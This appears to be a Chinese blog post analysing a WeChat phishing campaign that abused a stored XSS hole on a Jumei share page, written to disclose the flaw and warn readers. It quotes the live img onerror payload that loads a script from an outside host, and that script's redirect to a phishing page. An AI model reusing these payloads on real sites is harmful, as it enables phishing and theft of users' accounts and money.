微信是一个方便分享信息的地方,但大家在分享信息的时候最好有一个甄别。微信是一个比较封闭的信息空间,没有那么多人帮你矫正信息。无论出发点是什么,传播未经考证消息,很可能被不法分子利用。本文记录一次发现利用网站漏洞在微信里钓鱼的过程
钓鱼页是在朋友圈看到的,见截图:
其实一年前这样的转发对我没什么吸引力。这半年都是在做微信分享现金红包相关的工作
分享到两个不同的群(其中第二次必然失败,变成了三次群)、分享到朋友圈
GET /show/share/show/detail?show_id=485960 HTTP/1.1 Host : 0154mtshowjumeicg.jumei.com
{ "code": 0, "action": "", "message": "", "data": { "user_info": { "uid": "140687838", "vip": "0", "nickname": "JM131AKNK586oJig", .... }, "title": "<img src=/"x/" onerror=/"s=createElement('script');body.appendChild(s);s.src='//sitiao.applinzi.com/x.php';/">", "items": [], .... "praises": [], "description": "<img src=/"x/" onerror=/"s=createElement('script');body.appendChild(s);s.src='//sitiao.applinzi.com/x.php';/">", } }
GET /x.php HTTP/1.1 Host : sitiao.applinzi.com
var ua = navigator.userAgent; if(ua.indexOf("MicroMessenger")>0){ var jUrl = "http://j7w9a1487340361.chinacloudapp.cn/rp.html?k0o=T3oVt"; top.location.href=jUrl; }
这是典型的 XSS 漏洞,页面在渲染 Ajax 数据时未进行防范。
request GET /show/share/sw.jsp?id=485960&_uid=1487339705 HTTP/1.1 Host : 0154mtshowjumeicg.jumei.com
不法分子利用该漏洞绕开了微信分享的防范。以现金红包为诱饵,在微信中形成传播和攻击。
至于有什么危害,钓鱼一般就是骗取用户资料、账号、资金等。
发现该问题以后,第一时间通过微博反馈给聚美优品
总之天上不会掉馅饼。不起贪念,也不传播未经证实消息。